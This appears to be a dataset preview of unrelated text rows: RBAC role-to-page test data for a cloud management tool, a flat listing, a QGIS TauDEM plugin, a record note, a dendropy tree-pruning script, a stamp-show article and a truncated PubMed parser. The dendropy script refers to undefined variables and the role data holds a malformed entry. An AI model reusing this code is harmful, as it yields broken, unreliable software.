text
stringlengths 29
850k
|
|---|
from cfme.utils.log import logger
def _remove_page(roles, group, pages):
if group in roles:
for page in pages:
if page in roles[group]:
roles[group].remove(page)
else:
logger.info("Page %s attempted to be removed from role %s, "
"but isn't in there anyway", page, group)
else:
logger.info("Attempted to remove a page from role %s, but role "
"doesn't exist", group)
def _remove_from_all(roles, r_page):
for group in roles:
for page in roles[group]:
if page == r_page:
roles[group].remove(page)
else:
logger.info("Page %s attempted to be removed from role %s, "
"but isn't in there anyway", page, group)
group_data = {
'evmgroup-administrator': [
'control_explorer',
'control_simulation',
'control_import_export',
'control_log',
'infrastructure_providers',
'infrastructure_clusters',
'infrastructure_hosts',
'infrastructure_virtual_machines',
'infrastructure_resource_pools',
'infrastructure_datastores',
'infrastructure_pxe',
'infrastructure_requests',
'clouds_providers',
'clouds_availability_zones',
'clouds_flavors',
'clouds_security_groups',
'clouds_instances',
'clouds_stacks',
'my_settings',
'tasks',
'about',
'dashboard',
'reports',
'chargeback',
'timelines',
'rss',
'automate_explorer',
'automate_simulation',
'automate_customization',
'automate_import_export',
'automate_log',
'automate_requests',
'my_services',
'services_catalogs',
'services_requests',
'services_workloads',
'utilization',
'planning',
'bottlenecks'
],
'evmgroup-approver': [
'control_explorer',
'control_simulation',
'control_log',
'infrastructure_providers',
'infrastructure_clusters',
'infrastructure_hosts',
'infrastructure_virtual_machines',
'infrastructure_resource_pools',
'infrastructure_datastores',
'infrastructure_pxe',
'infrastructure_requests',
'clouds_instances',
'my_settings',
'tasks',
'about',
'dashboard',
'reports',
'chargeback',
'timelines',
'rss',
'services_requ,ests'
'services_workloads'
],
'evmgroup-auditor': [
'control_explorer',
'control_simulation',
'control_log',
'infrastructure_providers',
'infrastructure_clusters',
'infrastructure_hosts',
'infrastructure_virtual_machines',
'infrastructure_resource_pools',
'infrastructure_datastores',
'infrastructure_pxe',
'clouds_instances',
'my_settings',
'tasks',
'about',
'dashboard',
'reports',
'chargeback',
'timelines',
'rss',
'services_workloads',
'utilization',
'planning',
'bottlenecks'
],
'evmgroup-desktop': [
'services_requests',
'services_workloads',
'dashboard',
'infrastructure_config_management',
'infrastructure_requests',
'infrastructure_virtual_machines',
'clouds_instances',
'my_settings',
'about'
],
'evmgroup-operator': [
'services_workloads',
'dashboard',
'reports',
'chargeback',
'timelines',
'rss',
'infrastructure_providers',
'infrastructure_clusters',
'infrastructure_hosts',
'infrastructure_virtual_machines',
'infrastructure_resource_pools',
'infrastructure_datastores',
'infrastructure_pxe',
'clouds_instances',
'my_settings',
'tasks',
'about'
],
'evmgroup-security': [
'control_explorer',
'control_simulation',
'control_log',
'infrastructure_providers',
'infrastructure_clusters',
'infrastructure_hosts',
'infrastructure_virtual_machines',
'infrastructure_resource_pools',
'infrastructure_datastores',
'clouds_instances',
'my_settings',
'tasks',
'about',
'dashboard',
'reports',
'chargeback',
'timelines',
'rss',
'services_workloads'
],
'evmgroup-super_administrator': [
'control_explorer',
'control_simulation',
'control_import_export',
'control_log',
'infrastructure_providers',
'infrastructure_clusters',
'infrastructure_hosts',
'infrastructure_virtual_machines',
'infrastructure_resource_pools',
'infrastructure_datastores',
'infrastructure_pxe',
'infrastructure_requests',
'infrastructure_config_management',
'clouds_providers',
'clouds_availability_zones',
'clouds_flavors',
'clouds_security_groups',
'clouds_instances',
'clouds_tenants',
'clouds_stacks',
'my_settings',
'tasks',
'configuration',
'about',
'dashboard',
'reports',
'chargeback',
'timelines',
'rss',
'automate_explorer',
'automate_simulation',
'automate_customization',
'automate_import_export',
'automate_log',
'automate_requests',
'my_services',
'services_catalogs',
'services_requests',
'services_workloads',
'utilization',
'planning',
'bottlenecks'
],
'evmgroup-support': [
'control_explorer',
'control_simulation',
'control_log',
'infrastructure_providers',
'infrastructure_clusters',
'infrastructure_hosts',
'infrastructure_virtual_machines',
'infrastructure_resource_pools',
'infrastructure_datastores',
'clouds_instances',
'my_settings',
'tasks',
'about',
'dashboard',
'reports',
'chargeback',
'timelines',
'rss',
'services_workloads'
],
'evmgroup-user': [
'services_workloads',
'services_requests',
'dashboard',
'reports',
'chargeback',
'timelines',
'rss',
'infrastructure_providers',
'infrastructure_clusters',
'infrastructure_hosts',
'infrastructure_virtual_machines',
'infrastructure_resource_pools',
'infrastructure_datastores',
'infrastructure_requests',
'clouds_instances',
'my_settings',
'tasks',
'about'
],
'evmgroup-user_limited_self_service': [
'clouds_instances',
'services_requests',
'infrastructure_virtual_machines',
'infrastructure_requests',
'my_settings',
'about'
],
'evmgroup-user_self_service': [
'clouds_instances',
'services_requests',
'infrastructure_config_management',
'infrastructure_virtual_machines',
'infrastructure_requests',
'my_settings',
'about'
],
'evmgroup-vm_user': [
'clouds_instances',
'infrastructure_config_management',
'infrastructure_virtual_machines',
'infrastructure_requests',
'services_requests',
'services_workloads',
'my_settings',
'about'
]
}
# Matches structure/string format of VerticalNavigation output for tree, not UI access control tree
# TODO include non-vertical nav RBAC to settings, help
# TODO RBAC goes deeper than veritcal nav, into accordions. example cloud intel -> Reports
role_access_ui_59z = {
'evmgroup-super_administrator': {
'Automation': {
'Ansible': ['Credentials', 'Repositories', 'Playbooks'],
'Ansible Tower': ['Jobs', 'Explorer'],
'Automate': ['Log', 'Generic Objects', 'Simulation', 'Import / Export', 'Customization',
'Requests', 'Explorer']},
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Flavors', 'Instances', 'Providers', 'Host Aggregates', 'Availability Zones',
'Key Pairs', 'Tenants', 'Stacks', 'Topology'],
'Containers': ['Container Nodes', 'Containers', 'Providers', 'Overview',
'Container Templates', 'Image Registries', 'Container Builds',
'Container Services', 'Volumes', 'Container Images', 'Routes', 'Pods',
'Replicators', 'Projects', 'Topology'],
'Infrastructure': ['Datastores', 'Networking', 'Providers', 'Virtual Machines', 'Hosts',
'Clusters', 'Topology', 'PXE', 'Resource Pools'],
'Physical Infrastructure': ['Topology', 'Servers', 'Providers']},
'Configuration': ['Management'],
'Control': ['Import / Export', 'Log', 'Explorer', 'Simulation'],
'Monitor': {
'Alerts': ['Overview', 'All Alerts']},
'Networks': ['Subnets', 'Load Balancers', 'Providers', 'Security Groups', 'Floating IPs',
'Network Ports', 'Topology', 'Networks', 'Network Routers'],
'Optimize': ['Bottlenecks', 'Planning', 'Utilization'],
'Red Hat Insights': ['Rules', 'Overview', 'Inventory', 'Actions'],
'Services': ['Requests', 'Workloads', 'Catalogs', 'My Services'],
'Storage': {
'Block Storage': ['Volume Snapshots', 'Managers', 'Volume Backups', 'Volumes'],
'Object Storage': ['Managers', 'Object Store Containers', 'Object Store Objects']}
},
'evmgroup-administrator': {
'Automation': {
'Ansible': ['Credentials', 'Repositories', 'Playbooks'],
'Ansible Tower': ['Jobs', 'Explorer'],
'Automate': ['Log', 'Simulation', 'Import / Export', 'Customization',
'Requests', 'Explorer']},
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Flavors', 'Instances', 'Providers', 'Host Aggregates', 'Availability Zones',
'Stacks', 'Topology'],
'Containers': ['Container Nodes', 'Containers', 'Providers', 'Overview',
'Image Registries', 'Container Builds', 'Container Services',
'Volumes', 'Container Images', 'Routes', 'Pods', 'Replicators',
'Projects', 'Topology'],
'Infrastructure': ['Datastores', 'Networking', 'Providers', 'Virtual Machines', 'Hosts',
'Clusters', 'Topology', 'PXE', 'Resource Pools'],
'Physical Infrastructure': ['Providers']},
'Configuration': ['Management'],
'Control': ['Import / Export', 'Log', 'Explorer', 'Simulation'],
'Networks': ['Providers', 'Security Groups', 'Floating IPs', 'Networks'],
'Optimize': ['Bottlenecks', 'Planning', 'Utilization'],
'Services': ['Requests', 'Workloads', 'Catalogs', 'My Services'],
'Storage': {
'Object Storage': ['Object Store Containers', 'Object Store Objects']}
},
'evmgroup-approver': {
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Datastores', 'Providers', 'Virtual Machines', 'Hosts', 'Clusters',
'PXE', 'Resource Pools'],
'Physical Infrastructure': ['Servers', 'Providers']},
'Control': ['Explorer', 'Log', 'Simulation'],
'Services': ['Requests', 'Workloads', 'My Services'],
},
'evmgroup-auditor': {
'Automation': {
'Ansible': ['Credentials', 'Repositories', 'Playbooks'],
'Ansible Tower': ['Explorer']},
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Datastores', 'Providers', 'Virtual Machines', 'Hosts', 'Clusters',
'PXE', 'Resource Pools'],
'Physical Infrastructure': ['Servers', 'Providers']},
'Control': ['Explorer', 'Log', 'Simulation'],
'Optimize': ['Bottlenecks', 'Planning', 'Utilization'],
'Services': ['Workloads', 'My Services']},
'evmgroup-desktop': {
'Automation': {
'Ansible Tower': ['Explorer']},
'Cloud Intel': ['Dashboard'],
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Virtual Machines']},
'Configuration': ['Management'],
'Services': ['Requests', 'Workloads']
},
'evmgroup-operator': {
'Automation': {
'Ansible': ['Credentials', 'Repositories', 'Playbooks'],
'Ansible Tower': ['Explorer']},
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Datastores', 'Providers', 'Virtual Machines', 'Hosts', 'Clusters',
'PXE', 'Resource Pools'],
'Physical Infrastructure': ['Servers', 'Providers']},
'Configuration': ['Management'],
'Services': ['Workloads', 'My Services']
},
'evmgroup-security': {
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Datastores', 'Providers', 'Virtual Machines', 'Hosts',
'Clusters', 'Resource Pools'],
'Physical Infrastructure': ['Servers', 'Providers']},
'Control': ['Explorer', 'Log', 'Simulation'],
'Services': ['My Services', 'Workloads']
},
'evmgroup-support': {
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Datastores', 'Providers', 'Virtual Machines', 'Hosts', 'Clusters',
'Resource Pools'],
'Physical Infrastructure': ['Servers', 'Providers']},
'Control': ['Explorer', 'Log', 'Simulation'],
'Services': ['My Services', 'Workloads']
},
'evmgroup-user': {
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Datastores', 'Providers', 'Virtual Machines', 'Hosts', 'Clusters',
'Resource Pools'],
'Physical Infrastructure': ['Servers', 'Providers']},
'Services': ['Requests', 'Workloads', 'My Services']
},
'evmgroup-vm_user': {
'Automation': {
'Ansible': ['Credentials', 'Repositories', 'Playbooks'],
'Ansible Tower': ['Explorer']},
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Virtual Machines']},
'Configuration': ['Management'],
'Services': ['Requests', 'Workloads'],
}
}
role_access_ui_58z = {
'evmgroup-super_administrator': {
'Automation': {
'Ansible': ['Credentials', 'Repositories', 'Playbooks'],
'Ansible Tower': ['Jobs', 'Explorer'],
'Automate': ['Log', 'Simulation', 'Import / Export', 'Customization', 'Explorer']},
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Flavors', 'Instances', 'Providers', 'Host Aggregates', 'Availability Zones',
'Key Pairs', 'Tenants', 'Stacks', 'Topology'],
'Containers': ['Container Nodes', 'Containers', 'Providers', 'Overview',
'Container Templates', 'Image Registries', 'Container Builds',
'Container Services', 'Volumes', 'Container Images', 'Routes', 'Pods',
'Replicators', 'Projects', 'Topology'],
'Infrastructure': ['Datastores', 'Networking', 'Providers', 'Virtual Machines', 'Hosts',
'Clusters', 'Topology', 'PXE', 'Resource Pools']},
'Configuration': ['Management'],
'Control': ['Import / Export', 'Log', 'Explorer', 'Simulation'],
'Networks': ['Subnets', 'Load Balancers', 'Providers', 'Security Groups', 'Floating IPs',
'Network Ports', 'Topology', 'Networks', 'Network Routers'],
'Optimize': ['Bottlenecks', 'Planning', 'Utilization'],
'Red Hat Insights': ['Rules', 'Overview', 'Systems'],
'Services': ['Requests', 'Workloads', 'Catalogs', 'My Services'],
'Storage': {
'Block Storage': ['Volume Snapshots', 'Managers', 'Volume Backups', 'Volumes'],
'Object Storage': ['Managers', 'Object Store Containers', 'Object Store Objects']}
},
'evmgroup-administrator': {
'Automation': {
'Ansible Tower': ['Jobs', 'Explorer'],
'Automate': ['Log', 'Simulation', 'Import / Export', 'Customization', 'Explorer']},
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Flavors', 'Instances', 'Providers', 'Host Aggregates', 'Availability Zones',
'Stacks', 'Topology'],
'Containers': ['Container Nodes', 'Containers', 'Providers', 'Overview',
'Image Registries', 'Container Builds', 'Container Services',
'Volumes', 'Container Images', 'Routes', 'Pods', 'Replicators',
'Projects', 'Topology'],
'Infrastructure': ['Datastores', 'Networking', 'Providers', 'Virtual Machines', 'Hosts',
'Clusters', 'Topology', 'PXE', 'Resource Pools']},
'Configuration': ['Management'],
'Control': ['Import / Export', 'Log', 'Explorer', 'Simulation'],
'Networks': ['Providers', 'Security Groups', 'Floating IPs', 'Networks'],
'Optimize': ['Bottlenecks', 'Planning', 'Utilization'],
'Services': ['Requests', 'Workloads', 'Catalogs', 'My Services'],
'Storage': {
'Object Storage': ['Object Store Containers', 'Object Store Objects']}
},
'evmgroup-approver': {
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Datastores', 'Providers', 'Virtual Machines', 'Hosts', 'Clusters',
'PXE', 'Resource Pools']},
'Control': ['Log', 'Simulation'],
'Services': ['Requests', 'Workloads'],
},
'evmgroup-auditor': {
'Automation': {
'Ansible': ['Credentials', 'Repositories', 'Playbooks'],
'Ansible Tower': ['Explorer']},
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Datastores', 'Providers', 'Virtual Machines', 'Hosts', 'Clusters',
'PXE', 'Resource Pools']},
'Control': ['Log', 'Simulation'],
'Optimize': ['Bottlenecks', 'Planning', 'Utilization'],
'Services': ['Workloads']},
'evmgroup-desktop': {
'Automation': {
'Ansible Tower': ['Explorer']},
'Cloud Intel': ['Dashboard'],
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Virtual Machines']},
'Configuration': ['Management'],
'Services': ['Requests', 'Workloads']
},
'evmgroup-operator': {
'Automation': {
'Ansible': ['Credentials', 'Repositories', 'Playbooks'],
'Ansible Tower': ['Explorer']},
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Datastores', 'Providers', 'Virtual Machines', 'Hosts', 'Clusters',
'PXE', 'Resource Pools']},
'Configuration': ['Management'],
'Services': ['Workloads']
},
'evmgroup-security': {
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Datastores', 'Providers', 'Virtual Machines', 'Hosts',
'Clusters', 'Resource Pools']},
'Control': ['Log', 'Simulation'],
'Services': ['Workloads']
},
'evmgroup-support': {
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Datastores', 'Providers', 'Virtual Machines', 'Hosts', 'Clusters',
'Resource Pools']},
'Control': ['Log', 'Simulation'],
'Services': ['Workloads']
},
'evmgroup-user': {
'Cloud Intel': ['Timelines', 'RSS', 'Dashboard', 'Reports', 'Chargeback'],
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Datastores', 'Providers', 'Virtual Machines', 'Hosts', 'Clusters',
'Resource Pools']},
'Services': ['Requests', 'Workloads']
},
'evmgroup-vm_user': {
'Automation': {
'Ansible': ['Credentials', 'Repositories', 'Playbooks'],
'Ansible Tower': ['Explorer']},
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Virtual Machines']},
'Configuration': ['Management'],
'Services': ['Requests', 'Workloads'],
}
}
role_access_ssui = {
'evmgroup-user_limited_self_service': {
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Virtual Machines']},
'Services': ['Requests', 'Catalogs', 'My Services']
},
'evmgroup-user_self_service': {
'Automation': {
'Ansible': ['Credentials', 'Repositories', 'Playbooks'],
'Ansible Tower': ['Explorer']},
'Compute': {
'Clouds': ['Instances'],
'Infrastructure': ['Virtual Machines'],
'Physical Infrastructure': ['Providers']},
'Configuration': ['Management'],
'Services': ['Requests', 'Catalogs', 'My Services']
},
}
|
Edward Ashdale Estate Agents are delighted to present this stunning luxury 2 Bedroom 2 Bathroom first floor flat. Internally, the property boasts a beautiful open plan Kitchen/Reception and briefly comprises of two double bedrooms with the master en-suite.
Situated a stones throw from Sundridge Park Station, this flat is perfect for working professionals - early viewing recommended.
Please call us today to book your internal viewing on 0208 466 8445 .
|
# -*- coding: utf-8 -*-
"""
***************************************************************************
dinftranslimaccum.py
---------------------
Date : October 2012
Copyright : (C) 2012 by Alexander Bruy
Email : alexander dot bruy at gmail dot com
***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
***************************************************************************
"""
__author__ = 'Alexander Bruy'
__date__ = 'October 2012'
__copyright__ = '(C) 2012, Alexander Bruy'
# This will get replaced with a git SHA1 when you do a git archive
__revision__ = '$Format:%H$'
import os
from PyQt4.QtGui import *
from processing.core.GeoAlgorithm import GeoAlgorithm
from processing.core.ProcessingLog import ProcessingLog
from processing.tools.system import *
from processing.core.ProcessingConfig import ProcessingConfig
from processing.core.GeoAlgorithmExecutionException import GeoAlgorithmExecutionException
from processing.parameters.ParameterRaster import ParameterRaster
from processing.parameters.ParameterVector import ParameterVector
from processing.parameters.ParameterBoolean import ParameterBoolean
from processing.outputs.OutputRaster import OutputRaster
from processing.taudem.TauDEMUtils import TauDEMUtils
class DinfTransLimAccum(GeoAlgorithm):
DINF_FLOW_DIR_GRID = "DINF_FLOW_DIR_GRID"
SUPPLY_GRID = "SUPPLY_GRID"
CAPACITY_GRID = "CAPACITY_GRID"
IN_CONCENTR_GRID = "IN_CONCENTR_GRID"
OUTLETS_SHAPE = "OUTLETS_SHAPE"
EDGE_CONTAM = "EDGE_CONTAM"
TRANSP_LIM_ACCUM_GRID = "TRANSP_LIM_ACCUM_GRID"
DEPOSITION_GRID = "DEPOSITION_GRID"
OUT_CONCENTR_GRID = "OUT_CONCENTR_GRID"
def getIcon(self):
return QIcon(os.path.dirname(__file__) + "/../images/taudem.png")
def defineCharacteristics(self):
self.name = "D-Infinity Transport Limited Accumulation"
self.cmdName = "dinftranslimaccum"
self.group = "Specialized Grid Analysis tools"
self.addParameter(ParameterRaster(self.DINF_FLOW_DIR_GRID, "D-Infinity Flow Direction Grid", False))
self.addParameter(ParameterRaster(self.SUPPLY_GRID, "Supply Grid", False))
self.addParameter(ParameterRaster(self.CAPACITY_GRID, "Transport Capacity Grid", False))
self.addParameter(ParameterVector(self.OUTLETS_SHAPE, "Outlets Shapefile", [ParameterVector.VECTOR_TYPE_POINT], True))
self.addParameter(ParameterBoolean(self.EDGE_CONTAM, "Check for edge contamination", True))
self.addOutput(OutputRaster(self.TRANSP_LIM_ACCUM_GRID, "Transport Limited Accumulation Grid"))
self.addOutput(OutputRaster(self.DEPOSITION_GRID, "Deposition Grid"))
def processAlgorithm(self, progress):
commands = []
commands.append(os.path.join(TauDEMUtils.mpiexecPath(), "mpiexec"))
processNum = ProcessingConfig.getSetting(TauDEMUtils.MPI_PROCESSES)
if processNum <= 0:
raise GeoAlgorithmExecutionException("Wrong number of MPI processes used.\nPlease set correct number before running TauDEM algorithms.")
commands.append("-n")
commands.append(str(processNum))
commands.append(os.path.join(TauDEMUtils.taudemPath(), self.cmdName))
commands.append("-ang")
commands.append(self.getParameterValue(self.DINF_FLOW_DIR_GRID))
commands.append("-tsup")
commands.append(self.getParameterValue(self.SUPPLY_GRID))
commands.append("-tc")
commands.append(self.getParameterValue(self.CAPACITY_GRID))
param = self.getParameterValue(self.OUTLETS_SHAPE)
if param is not None:
commands.append("-o")
commands.append(param)
if str(self.getParameterValue(self.EDGE_CONTAM)).lower() == "false":
commands.append("-nc")
commands.append("-tla")
commands.append(self.getOutputValue(self.TRANSP_LIM_ACCUM_GRID))
commands.append("-tdep")
commands.append(self.getOutputValue(self.DEPOSITION_GRID))
loglines = []
loglines.append("TauDEM execution command")
for line in commands:
loglines.append(line)
ProcessingLog.addToLog(ProcessingLog.LOG_INFO, loglines)
TauDEMUtils.executeTauDEM(commands, progress)
#def helpFile(self):
# return os.path.join(os.path.dirname(__file__), "help", self.cmdName + ".html")
|
Helen Clark and Joseph Phillips.
Dubbed from Edison Diamond Disc matrix 7097.
Contralto and baritone with orchestra.
|
#! /usr/bin/env python
import dendropy
from dendropy.utility.fileutils import find_files
## operations for the ml tree
ml = dendropy.Tree.get_from_path("filename", "format")
print(ml.description())
node_D = ml.find_node_with_taxon_label("Sphenodon punctatus")
outgroup_node = spe_node.parent_node
ml = ml.reroot_at_node(outgroup_node, update_splits=True)
ml_rooted.write_to_path("filenamererooted", "newick")
## clone rerooted tree for pruning
ml0 = dendropy.Tree(ml)
ml1 = dendropy.Tree(ml)
ml2 = dendropy.Tree(ml)
ml3 = dendropy.Tree(ml)
ml4 = dendropy.Tree(ml)
ml5 = dendropy.Tree(ml)
## get mrca nodes for clades
ang_mrca = ml.mrca(taxon_labels=["Varanus indicus", "Anniella pulchra"])
gek_mrca = ml.mrca(taxon_labels=["Phelsuma ornata", "Delma impar"])
igu_mrca = ml.mrca(taxon_labels=["Iguana iguana", "Chamaeleo zeylanicus"])
lac_mrca = ml.mrca(taxon_labels=["Bipes biporus", "Teius teyou"])
ser_mrca = ml.mrca(taxon_labels=["Nerodia rhombifer", "Liotyphlops albirostris"])
sci_mrca = ml.mrca(taxon_labels=["Plestiodon fasciatus", "Acontias percivali"])
## pruning and writing trees goes here
ang_ml=dendropy.Tree()
ang_ml.seed_node = ang_mrca
ang_ml.write_to_path("ang_ml.tre","newick")
gek_ml=dendropy.Tree()
gek_ml.seed_node = gek_mrca
gek_ml.write_to_path("gek_ml.tre","newick")
igu_ml=dendropy.Tree()
igu_ml.seed_node = igu_mrca
igu_ml.write_to_path("igu_ml.tre","newick")
lac_ml=dendropy.Tree()
lac_ml.seed_node = lac_mrca
lac_ml.write_to_path("lac_ml.tre","newick")
ser_ml=dendropy.Tree()
ser_ml.seed_node = ser_mrca
ser_ml.write_to_path("ser_ml.tre","newick")
sci_ml=dendropy.Tree()
sci_ml.seed_node = sci_mrca
sci_ml.write_to_path("sci_ml.tre","newick")
## uncomment if trees are in separate files, import list of trees of type newick
##flist = find_files(top='trees', filename_filter='*.dated.tre')
##sqtrees = [dendropy.Tree.get_from_path(filename,"newick") for filename in flist]
##print(sqtrees.description(2))
## empty tree lists for pruned trees
angtrees = dendropy.TreeList()
gektrees = dendropy.TreeList()
igutrees = dendropy.TreeList()
lactrees = dendropy.TreeList()
sertrees = dendropy.TreeList()
scitrees = dendropy.TreeList()
## same operations as above but for a sample of trees
for tree in sqtrees:
node_D = tree.find_node_with_taxon_label("Sphenodon punctatus")
outgroup_node = spe_node.parent_node
ml.reroot_at_node(outgroup_node)
tree.write_to_path("treelistrerooted.tre","newick")
## clone tree list for pruning, will take a while
sq0 = dendropy.TreeList(sqtrees)
sq1 = dendropy.TreeList(sqtrees)
sq2 = dendropy.TreeList(sqtrees)
sq3 = dendropy.TreeList(sqtrees)
sq4 = dendropy.TreeList(sqtrees)
sq5 = dendropy.TreeList(sqtrees)
## pruning from lists of trees
for tree in sqtrees:
rep_ang_mrca = tree.mrca(taxon_labels=["Varanus indicus", "Anniella pulchra"])
ang_tree=dendropy.Tree()
ang_tree.seed_node = rep_ang_mrca
angtrees.append(ang_tree)
for tree in sqtrees:
rep_gek_mrca = tree.mrca(taxon_labels=["Phelsuma ornata", "Delma impar"])
gek_tree=dendropy.Tree()
gek_tree.seed_node = rep_gek_mrca
gektrees.append(gek_tree)
for tree in sqtrees:
rep_igu_mrca = tree.mrca(taxon_labels=["Iguana iguana", "Chamaeleo zeylanicus"])
igu_tree=dendropy.Tree()
igu_tree.seed_node = rep_igu_mrca
igutrees.append(igu_tree)
for tree in sqtrees:
rep_lac_mrca = tree.mrca(taxon_labels=["Bipes biporus", "Teius teyou"])
lac_tree=dendropy.Tree()
lac_tree.seed_node = rep_lac_mrca
lactrees.append(lac_tree)
for tree in sqtrees:
rep_ser_mrca = tree.mrca(taxon_labels=["Nerodia rhombifer", "Liotyphlops albirostris"])
ser_tree=dendropy.Tree()
ser_tree.seed_node = rep_ser_mrca
sertrees.append(ser_tree)
for tree in sqtrees:
rep_sci_mrca = tree.mrca(taxon_labels=["Plestiodon fasciatus", "Acontias percivali"])
sci_tree=dendropy.Tree()
sci_tree.seed_node = rep_sci_mrca
scitrees.append(sci_tree)
## write tree lists
angtrees.write_to_path("angtrees.tre", "newick")
gektrees.write_to_path("gektrees.tre", "newick")
igutrees.write_to_path("igutrees.tre", "newick")
lactrees.write_to_path("lactrees.tre", "newick")
sertrees.write_to_path("sertrees.tre", "newick")
scitrees.write_to_path("scitrees.tre", "newick")
|
Established in October 1886, the Chicago Philatelic Society is chapter no. 1 of the American Philatelic Society.
The Chicago Philatelic Society (CPS) will host its annual philatelic exhibition, Chicagopex, this Nov. 17-19 at the Westin Chicago Northwest on 400 Park Blvd. in Itasca, Ill.
This year’s show theme celebrates the 525th anniversary of Christopher Columbus’ momentous first sailing, which is reflected in the souvenir show cachets and cancellations. Two societies—the Society of Israel Philatelists and the British Caribbean Philatelic Study Group—are also holding conventions at Chicagopex.
Admission and parking are free. The show will be open to the public from 10 a.m.-6 p.m. on Nov. 17-18 and from 10 a.m.-4 p.m. on Nov. 19. Attendees are asked to contact the hotel by phone at 630-773-4000 to make reservations. Mention Chicagopex for the special room rate of $125 a night plus tax.
A World Series of Philately event, the exhibition is slated to feature about 300 frames of philatelic material. This year also marks the 51st anniversary of the show’s philatelic literature competition—one of only a few competitions based around philatelic literature in the U.S.
The show’s bourse will feature 75 dealers from the U.S. and Europe offering a vast array of material to interest everyone from the beginning collector to the advanced collector and exhibitor. The U.S. Postal Service and the United Nations Postal Administration will also be in attendance.
The show will also include a youth/beginners’ booth as well as meetings and speakers from local clubs, including the CPS and Germany Philatelic Society Chapter #5, as well as the two convening societies. Meetings and talks are free and open to the public.
A catered awards banquet will also be hosted on the evening of Saturday, Nov. 18. Tickets must be purchased in advance; dress is business casual.
The CPS was organized on Oct. 8, 1886 as a continuation of the Chicago Stamp Collectors Union, which was organized in Dec. 1884. The society is chapter no. 1 of the American Philatelic Society and one of two organizations with the longest uninterrupted service to philately in the U.S.
|
from bs4 import BeautifulSoup
import cPickle as pickle
import time
import os
def get_articles_data(data, investigator_mesh_dict):
time_count = 0
last_time = time.time()
auth_articles = {}
auth_articles_abs = {}
for key, value in data.items():
#test to see if value is null, if it is skip it
if value is None:
continue
time_count += 1
if (time_count%100) == 0:
print 'Count: ', time_count
print 'Duration (mins): ', (time.time() - last_time)/60
last_time = time.time()
#if the investigator has no mesh terms in the db skip them
if len(investigator_mesh_dict[key]['mesh']) == 0:
continue
auth_articles[key] = {}
auth_articles_abs[key] = {}
soup = BeautifulSoup(value)
for article in soup.findAll('pubmedarticle'):
#FILTER
#get published dates
#most pubdates refer to date as year but some refer to it as medlinedate
try:
year = article.findChild('pubdate').findChild('year').text
except:
#this includes months so we just pull out the year
year = article.findChild('pubdate').findChild('medlinedate').text[:4]
#if the year of the article is before 1995 skip it
if int(year) < 1995:
continue
mesh_list = article.findChild('meshheadinglist')
#if there are no mesh terms skip article
if mesh_list is None:
continue
#creates a list of mesh terms. each mesh term is a tuple with
#a major minor marker
mesh_terms = article.findAll('meshheading')
mesh_terms_list = []
for term in mesh_terms:
for element in term:
try:
if element.name == 'descriptorname':
mesh_terms_list.append((element.text, element.attrs.values()[0]))
except:
pass
#check to see if there are any matching mesh terms between the
#article and the investigator mesh terms from the db
skip_switch = True
for term, weight in mesh_terms_list:
#do not use certain very common mesh terms for matching
if term.lower() in ['adult', 'humans', 'male', 'female', 'aged']:
continue
if term.lower() in investigator_mesh_dict[key]['mesh']:
skip_switch = False
break
if skip_switch:
continue
#GET DATA
title = article.findChild('articletitle').text
pub_id = article.findChild('pmid').text
#get a list of all other ids
other_ids = article.findAll('articleid')
other_ids_list = []
for ids in other_ids:
other_ids_list.append((ids.attrs.values()[0],ids.text))
abstract = str(article.findChild('abstract'))
#creates a list of lists where each list consists of
#tuples of data types and the data
authors = article.findAll('author')
authors_list = []
for author in authors:
temp = []
for element in author:
try:
if element.name is not None:
if element.name == 'initials' or element.name == 'suffix':
continue
if element.name == 'forename':
temp[0] = element.text + ' ' + temp[0]
continue
temp.append(element.text)
except:
pass
authors_list.append(temp)
del temp
country = article.findChild('country').text
language = article.findChild('language').text
#this is a list of the chemicals found in the paper
#may be useful for maching articles to trials
#creates a list of all the chemicals in the paper if there are any
chemicals = article.findAll('chemical')
chemicals_list = []
for chemical in chemicals:
for element in chemical:
try:
if element.name == 'nameofsubstance':
